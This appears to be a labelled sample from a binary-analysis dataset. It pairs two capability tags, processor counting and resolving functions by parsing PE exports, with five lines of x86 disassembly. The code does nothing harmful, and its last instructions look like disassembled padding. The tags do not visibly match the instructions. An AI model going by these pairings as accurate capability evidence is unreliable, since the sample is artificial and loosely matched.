Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4fc]
add edx, 1
mov dword [ebp - 0x4fc], edx
and esi, ebp
add byte [eax], al